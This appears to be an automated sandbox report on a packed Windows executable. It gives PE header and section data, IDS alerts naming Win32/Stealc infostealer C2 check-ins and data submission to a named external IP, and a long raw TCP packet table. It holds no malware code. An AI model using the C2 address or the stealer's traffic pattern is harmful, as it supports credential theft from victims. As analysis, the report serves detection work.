add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	e16fbc0fd618529fbd56637ea810fb85	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x290000	0x200	60a4e300bb0d21044deefdade5a96a94	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uvxnsmun	0x4ee000	0x196000	0x195200	063c228924c8de99fcfbe2d142590764	False	0.9950325179342795	data	7.953993025733177	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jdwdpmwf	0x684000	0x1000	0x400	6403c99735100d5985912fcb79f8170c	False	0.740234375	data	5.7828214108991025	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x685000	0x3000	0x2200	fb6772a4809d3bb08cff72a54471d920	False	0.06066176470588235	DOS executable (COM)	0.80093762080398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T06:54:05.972765+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:06.197200+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:06.204533+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-13T06:54:06.420237+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:06.433009+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-13T06:54:07.511946+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:07.972599+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:13.399710+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:14.534488+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:15.949182+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:16.508330+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:18.259669+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T06:54:18.765168+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 06:54:05.021505117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:05.026375055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:05.026472092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:05.026978970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:05.031712055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:05.732024908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:05.732120037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:05.734668016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:05.739460945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:05.972683907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:05.972764969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:05.974700928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:05.979480028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.197102070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.197118998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.197200060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:06.198700905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:06.204533100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.420108080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.420237064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:06.420288086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.420299053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.420309067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.420319080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.420327902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.420353889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:06.420356035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.420380116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:06.420420885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:06.422117949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:06.433008909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.650660038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.650758028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:06.667654991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:06.667655945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:06.672602892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.672617912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.672683001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.672755003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.672769070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:06.672784090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.511759043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.511945963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.753794909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.758812904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.972495079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.972528934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.972563982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.972599030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.972600937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.972790956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.972790956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.972809076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.972845078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.972867012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.972881079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.972913980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.972958088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.972958088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.972958088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.973392010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.973427057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.973460913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.973491907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.973526955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.973584890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.973584890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.973584890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.973584890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.973584890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:07.974235058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:07.974710941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.097193956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.097304106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.097325087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.097335100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.097373962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.097384930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.097409964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.097414970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.097433090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.097443104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.097477913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.097537041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.097537041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.097537994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.098006010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.098040104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.098062038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.098072052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.098090887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.098128080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.098443985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.098478079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.098510027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.098541975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.098546982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.098573923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.098675013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.098989010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.099028111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.099061012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.099076986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.099076986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.099093914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.099101067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.099128962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.099189997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.099189997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.099778891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.099818945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.099852085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.099884987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.099915981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.099924088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.099924088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.099924088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.099924088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.100142956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.100594997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.100982904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.221954107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.221987963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222023964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222055912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222058058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222059011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222090960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222167015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222167015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222167969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222204924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222255945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222258091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222290993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222322941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222356081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222388029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222419024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222440004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222440004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222440004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222440004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222440004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222466946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.222927094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.222979069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223007917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223032951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223067045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223076105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223076105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223099947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223133087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223140001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223140001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223184109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223186970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223371983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223726034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223776102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223810911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223843098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223891973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223923922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223957062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.223977089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223977089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223977089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223977089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223977089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.223977089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.224009991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.224607944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.224646091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.224663019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.224678993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.224695921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.224726915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.224745035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.224756956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.224781036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.224822044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.224822044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.225361109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.225441933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.225476027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.225522995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.225528002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.225552082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.225560904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.225586891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.225594997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.225627899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.225661039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.225667000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.225667000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.225697041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.225703955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.225722075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.225867987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.226402044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.226442099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.226465940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.226475954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.226526022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.226526022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.310586929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.310669899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.310679913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.310720921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346283913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346314907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346366882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346395016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346446991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346474886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346482992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346528053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346561909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346596003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346627951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346684933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346684933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346684933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346684933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346684933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346684933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346741915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346823931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346824884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346858978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346890926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346903086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346903086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346924067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.346946955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.346988916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347101927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347166061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347209930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347258091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347290993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347321987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347353935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347410917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347410917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347410917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347410917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347410917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347418070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347454071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347484112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347503901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347614050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347685099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347706079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347755909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347783089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347790003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347829103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347862959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.347891092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.347891092 CEST	49730	80	192.168.2.4	185.215.113.37
